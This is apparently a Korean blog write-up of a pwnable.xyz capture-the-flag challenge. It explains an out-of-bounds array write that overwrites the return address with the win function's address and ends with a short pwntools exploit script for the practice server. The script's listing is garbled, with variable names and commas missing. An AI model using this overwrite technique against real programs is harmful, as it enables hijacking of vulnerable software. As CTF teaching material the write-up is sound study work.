본문으로 바로가기

일단 분석을 해보면, 10진수 정수 3개를 입력받는다. scanf의 반환값이 3이 아니라면, break 한다.

즉, 입력을 3개받지않으면 break하겠다 라는 의미이다.

그리고 v7[v6] = v4 + v5; 을 해주는데, 여기서 취약점이 터진다.

Out Of bound 취약점이다. v6에 음수가 들어가거나 너무 큰 값이 들어갈 수 있다.

이것을 이용해 ret을 변조시켜서 win함수를 실행시킬수있다.

따라서 우리는 v4 + v5을 win의 주소로 만들면 되고, v6을 ret으로 조절하면 된다.

v7의 위치가 rbp-0x60이라고 친절하게 알려주고있으므로, 우리는 rbp-0x60을 rbp+8 ( ret ) 으로 만들기 위해서 0x68만큼 더해야한다.

하지만 여기서 v7을 __int64 ( 8byte ) 로 선언하였으므로 0x68 / 8을 해주어야 한다.

v4 + v5가 win주소여야하는데 10진수로 입력하여야 하므로, 0x400822를 10진수로 바꾼 4,196,386를 입력해주면 된다.


따라서 v4에는 4196386, v5에는 0, v6에는 13을 입력해주면 되겠다.


하지만, 아직 무한루프를 빠져나가지는 못하였다. 

위에서 scanf의 반환값이 3이 아니면 빠져나가므로, 문자나 문자열을 이용해서 빠져나가면, 플래그를 볼수있다.


익스코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
  
= remote('svc.pwnable.xyz'30002)
= ELF('./challenge')
win = e.symbols['win']
 
payload = str(win) + ' 0 13'
p.sendlineafter(': ', payload)
p.sendlineafter(': ''abc')
 
p.interactive()
cs

끝!